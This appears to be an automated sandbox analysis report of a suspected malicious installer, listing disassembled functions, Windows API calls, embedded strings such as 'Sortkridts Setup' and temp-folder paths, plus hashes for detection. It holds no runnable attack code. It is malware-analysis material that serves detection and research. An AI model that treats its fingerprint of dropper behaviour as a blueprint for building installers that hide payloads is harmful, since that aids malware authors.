Function 00404060 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 281COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004040B1
SetWindowTextW.USER32(00000000,?), ref: 004040DB

Part of subcall function 00406A15: GetDlgItemTextW.USER32(?,?,00000400,00404F27), ref: 00406A28

Part of subcall function 00406D18: CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406D8D
Part of subcall function 00406D18: CharNextW.USER32(?,?,?,00000000), ref: 00406D9C
Part of subcall function 00406D18: CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406DA1
Part of subcall function 00406D18: CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406DB9

Strings

A, xrefs: 0040419E
Call, xrefs: 004041E0, 004041EF
C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising, xrefs: 004041CC

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Char$Next$ItemText$PrevWindow
String ID: A$C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising$Call
API String ID: 4089110348-3627432768
Opcode ID: 7ee0f7904150dc878aeeec4f98168d1ec89735afe044028777f232ef559c64d1
Instruction ID: 90192ee12d8343b5cbbbf9dcfc6b809e920884bf694149bd8a4c84d13eeda86d
Opcode Fuzzy Hash: 7ee0f7904150dc878aeeec4f98168d1ec89735afe044028777f232ef559c64d1
Instruction Fuzzy Hash: E391B1B1704311ABD720AFA6DD81A6B76A8AF84704F40043FFB45B62D1DB7CD9418B6E

Function 6FC32351 Relevance: 18.7, APIs: 12, Instructions: 705stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6FC312F8: GlobalAlloc.KERNELBASE(00000040,?,6FC311C4,-000000A0), ref: 6FC31302

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 6FC3294E
lstrcpyW.KERNEL32(00000008,?), ref: 6FC329A4
lstrcpyW.KERNEL32(00000808,?), ref: 6FC329AF
GlobalFree.KERNEL32(00000000), ref: 6FC329C0
GlobalFree.KERNEL32(?), ref: 6FC32A44
GlobalFree.KERNEL32(?), ref: 6FC32A4A
GlobalFree.KERNEL32(?), ref: 6FC32A50
GetModuleHandleW.KERNEL32(00000008), ref: 6FC32B1A
LoadLibraryW.KERNEL32(00000008), ref: 6FC32B2B
GetProcAddress.KERNEL32(?,?), ref: 6FC32B82
lstrlenW.KERNEL32(00000808), ref: 6FC32B9D

Memory Dump Source

Source File: 00000002.00000002.20001269089.000000006FC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6FC30000, based on PE: true

Associated: 00000002.00000002.20001233361.000000006FC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001307380.000000006FC34000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001344547.000000006FC36000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fc30000_temp_executable.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 1042148487-0
Opcode ID: 3e3e649ffa5568d9398132ef94c74d18899c4d022db021d9d989ff77da6219db
Instruction ID: e04f1cc75c7e41a2d0afdfb7669f751df3c62d37f8d3f7e5c33643fdaa29224f
Opcode Fuzzy Hash: 3e3e649ffa5568d9398132ef94c74d18899c4d022db021d9d989ff77da6219db
Instruction Fuzzy Hash: 1C42AE73E487229FDB14CF39856069AB7E0FF89794F004A2EE599D6280F770E5448BD2

Function 0040234F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004089D0,?,00000001,004089B0,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004023D8

Strings

C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll, xrefs: 004024AC
C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic, xrefs: 0040241F

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic$C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll
API String ID: 542301482-1344943116
Opcode ID: 792a9dd0bafcf7b136060fe4d29ddbdc1cf7de8d0bbc27437ca0ffbf2965f736
Instruction ID: d428ad0e776067b9467a460b3bd0699ffb91532d5b811a166a6037c041011ccd
Opcode Fuzzy Hash: 792a9dd0bafcf7b136060fe4d29ddbdc1cf7de8d0bbc27437ca0ffbf2965f736
Instruction Fuzzy Hash: CA414A72604341AFC300EFA5C948A2BBBE9FF89314F10092EF695DB291DB79D805CB16

Function 00402B75 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402B85

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: aa95f51c6264b43bf771eda4cc7eb5353e28d7212280a1e96ce165172d32d45d
Instruction ID: 66eca0b878d1a88cf031bc7713e4e99cd100193794d0d0043917bcbbabee6758
Opcode Fuzzy Hash: aa95f51c6264b43bf771eda4cc7eb5353e28d7212280a1e96ce165172d32d45d
Instruction Fuzzy Hash: 37D0EC61414150E9D1606F718D49ABA736DAF05354F204A3EF196E10D1EAB85501932F

Function 004070FB Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcf2038373dac2d3d8319ce80b5227dedc9fd9d207136d333b3d89b18dbcf931
Instruction ID: d4ac7d1497c90a7860cde27ccfdf49f9d4c0c6eb7f3b7e6fe9b2edbc2c979ebe
Opcode Fuzzy Hash: fcf2038373dac2d3d8319ce80b5227dedc9fd9d207136d333b3d89b18dbcf931
Instruction Fuzzy Hash: 79C15B71A0C3918FD364CF29C48036ABBE1FBC5304F10892EE5DA9B391D678A546CB5B

Function 00404F6D Relevance: 52.9, APIs: 35, Instructions: 374windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404FAC
ShowWindow.USER32(?), ref: 00404FD6
GetWindowLongW.USER32(?,000000F0), ref: 00404FE7
ShowWindow.USER32(?,00000004), ref: 00405003
GetDlgItem.USER32(?,00000001), ref: 0040512A
GetDlgItem.USER32(?,00000002), ref: 00405134
SetClassLongW.USER32(?,000000F2,?), ref: 0040514E
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040519C
GetDlgItem.USER32(?,00000003), ref: 0040524B
ShowWindow.USER32(00000000,?), ref: 00405274
EnableWindow.USER32(?,?), ref: 00405288
EnableWindow.USER32(?), ref: 0040529C
EnableWindow.USER32(?), ref: 004052B4
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004052CB
EnableMenuItem.USER32(00000000), ref: 004052D2
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004052E3
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004052FA
lstrlenW.KERNEL32(004211D0,?,004211D0,00000000), ref: 0040532B

Part of subcall function 00405E95: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,00424200,?,00000000,?,?,?,00000000,?,?), ref: 0040604B

SetWindowTextW.USER32(?,004211D0), ref: 00405343

Part of subcall function 00401399: MulDiv.KERNEL32(00000000,00007530,00000000), ref: 004013F9
Part of subcall function 00401399: SendMessageW.USER32(?,00000402,00000000), ref: 00401409

DestroyWindow.USER32(?,00000000), ref: 0040538B
CreateDialogParamW.USER32(?,?,FFBD62DF), ref: 004053BF

Part of subcall function 004054F5: SetDlgItemTextW.USER32(?,?,00000000), ref: 0040550F

GetDlgItem.USER32(?,000003FA), ref: 004053E8
GetWindowRect.USER32(00000000), ref: 004053EF
ScreenToClient.USER32(?,?), ref: 004053FB
SetWindowPos.USER32(00000000,?,?,00000000,00000000,00000015), ref: 00405414
ShowWindow.USER32(00000008,?,00000000), ref: 00405433

Part of subcall function 004054C3: SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 004054D5

ShowWindow.USER32(?,0000000A), ref: 00405479

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Enable$LongMenuText$ClassClientCreateDestroyDialogParamRectScreenSystemlstrcatlstrlen
String ID:
API String ID: 3304020681-0
Opcode ID: 2c232c3c4cd4abe9946bd1abf6ab45f170ff85d80f4d9d15ff1c79bd8826187f
Instruction ID: 1b19c71cd4f81cfbd26a1cf5418529817e88c436646d4b9e8708edd60e3e664c
Opcode Fuzzy Hash: 2c232c3c4cd4abe9946bd1abf6ab45f170ff85d80f4d9d15ff1c79bd8826187f
Instruction Fuzzy Hash: C4D1C070601A11AFDB206F21ED48A6B7BA8FB48355F40453EF945B21F0CB399852DFAD

Function 00403D65 Relevance: 40.5, APIs: 21, Strings: 2, Instructions: 221windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,?,00000001), ref: 00403E04
EnableWindow.USER32(?), ref: 00403E11
GetDlgItem.USER32(?,000003E8), ref: 00403E1D
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00403E39
GetSysColor.USER32(?), ref: 00403E4A
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00403E58
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00403E66
lstrlenW.KERNEL32(?), ref: 00403E6C
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00403E79
SendMessageW.USER32(00000000,00000449,?,?), ref: 00403E90
GetDlgItem.USER32(?,0000040A), ref: 00403EEC
SendMessageW.USER32(00000000), ref: 00403EF3
EnableWindow.USER32(00000000), ref: 00403F10
GetDlgItem.USER32(0000004E,000003E8), ref: 00403F34
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 00403F89
LoadCursorW.USER32(00000000,00007F02), ref: 00403F9B
SetCursor.USER32(00000000), ref: 00403FA4

Part of subcall function 004069CE: ShellExecuteExW.SHELL32(?), ref: 004069DD

LoadCursorW.USER32(00000000,00007F00), ref: 00403FE6
SetCursor.USER32(00000000), ref: 00403FE9
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404015
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040402D

Strings

N, xrefs: 00403F20
Call, xrefs: 00403F6A

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$Cursor$Item$EnableLoadWindow$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N
API String ID: 3270077613-3438112850
Opcode ID: 9fe76440a7bbb49420d9e25e1a97e0c0d372ca4686a6a0a345b6597793e48a1e
Instruction ID: 4fa98256382c23a77b640614663c001b7206c978ba46bfa2c34382a940cfe240
Opcode Fuzzy Hash: 9fe76440a7bbb49420d9e25e1a97e0c0d372ca4686a6a0a345b6597793e48a1e
Instruction Fuzzy Hash: A881B0B1604308AFD710AF24DD44A6B7BE9FF88345F41083EF641A72A1CB789945CF59

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 0040102E
BeginPaint.USER32(?,?), ref: 0040104C
GetClientRect.USER32(?,?), ref: 00401062
CreateBrushIndirect.GDI32(00000000), ref: 004010DF
FillRect.USER32(00000000,?,00000000), ref: 004010F3
DeleteObject.GDI32(00000000), ref: 004010FA
CreateFontIndirectW.GDI32(?), ref: 00401120
SetBkMode.GDI32(00000000,00000001), ref: 00401143
SetTextColor.GDI32(00000000,000000FF), ref: 0040114D
SelectObject.GDI32(00000000,00000000), ref: 0040115B
DrawTextW.USER32(00000000,Sortkridts Setup,000000FF,?,00000820), ref: 00401171
SelectObject.GDI32(00000000,00000000), ref: 00401179
DeleteObject.GDI32(?), ref: 0040117F
EndPaint.USER32(?,?), ref: 0040118E

Strings

F, xrefs: 0040100A
Sortkridts Setup, xrefs: 0040116B

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Sortkridts Setup
API String ID: 941294808-185700202
Opcode ID: d731168a47aac58058028b36b6280044d0ca24b31d8de32a1a16c1507812eb21
Instruction ID: d36771556e1314171d00f7341d5a6d6cd4ef22ea24e197e6f7dda2bcd3f0aae3
Opcode Fuzzy Hash: d731168a47aac58058028b36b6280044d0ca24b31d8de32a1a16c1507812eb21
Instruction Fuzzy Hash: 3041AD720083509FC7159F65CE4896BBBE9FF88715F150A2EF9D1A22A0CA34C904CFA6

Function 004062E1 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 124memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,00000000,?,00406239,?,?), ref: 0040631C
GetShortPathNameW.KERNEL32(00000000,00426E48,00000400), ref: 00406325
GetShortPathNameW.KERNEL32(?,00426648,00000400), ref: 00406342
wsprintfA.USER32 ref: 00406360
GetFileSize.KERNEL32(00000000,00000000,00426648,C0000000,00000004,00426648,?), ref: 00406398
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 004063A8
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 004063D8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00426248,00000000,-0000000A,00408984,00000000,[Rename],00000000,00000000,00000000), ref: 004063F8
GlobalFree.KERNEL32(00000000), ref: 0040640A
CloseHandle.KERNEL32(00000000), ref: 00406411

Part of subcall function 004068F6: GetFileAttributesW.KERNELBASE(00000003,0040340A,C:\Users\user\AppData\Local\Temp\temp_executable.exe,80000000,00000003,?,?,?,?,?), ref: 004068FA
Part of subcall function 004068F6: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000000,00000000,?,?,?,?,?), ref: 0040691A

Strings

[Rename], xrefs: 004063C0, 004063CF
HnB, xrefs: 004062F7
%ls=%ls, xrefs: 00406356
HfB, xrefs: 00406338

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShort$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$HfB$HnB$[Rename]
API String ID: 2900126502-165592708
Opcode ID: e7f092b44845e5a987dde1640a7a18ced5189e995c1b7a4531422e6471ba5a07
Instruction ID: 28d4088f706ad7906ef0a9a5075647bec21de1d5f4d95c1c1de34b852c29caff
Opcode Fuzzy Hash: e7f092b44845e5a987dde1640a7a18ced5189e995c1b7a4531422e6471ba5a07
Instruction Fuzzy Hash: 9431E5B12002217BD6206B359D49F7B3A5CDF81748F56443EF942BA2C2DA7DD8624A7C

Function 00402BA3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402C09
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402C33
GlobalFree.KERNEL32(?), ref: 00402C7E
GlobalFree.KERNEL32(00000000), ref: 00402C94
CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,40000000,00000002,00000000,00000000), ref: 00402CB1
DeleteFileW.KERNEL32(00000000,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402CC4

Strings

C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll, xrefs: 00402CD3

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID: C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll
API String ID: 2667972263-204022868
Opcode ID: 6ffc5b8a9f87e2e5b40759ba5e904c63f1369c7a02dc5e0df68b7fff71cda799
Instruction ID: 686b8f33fe839f6b04a80afc83e47d853b1ea01e990ec980acb486ddfed3f61f
Opcode Fuzzy Hash: 6ffc5b8a9f87e2e5b40759ba5e904c63f1369c7a02dc5e0df68b7fff71cda799
Instruction Fuzzy Hash: 1E310871408351ABD310AF658E49E1FBBE8AF89754F114A3EF590772D2C77888018B9A

Function 00406D18 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406D8D
CharNextW.USER32(?,?,?,00000000), ref: 00406D9C
CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406DA1
CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8C,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00406DB9

Strings

*?|<>/":, xrefs: 00406D7C
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00406D1F
C:\Users\user\AppData\Local\Temp\, xrefs: 00406D18, 00406D1A

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
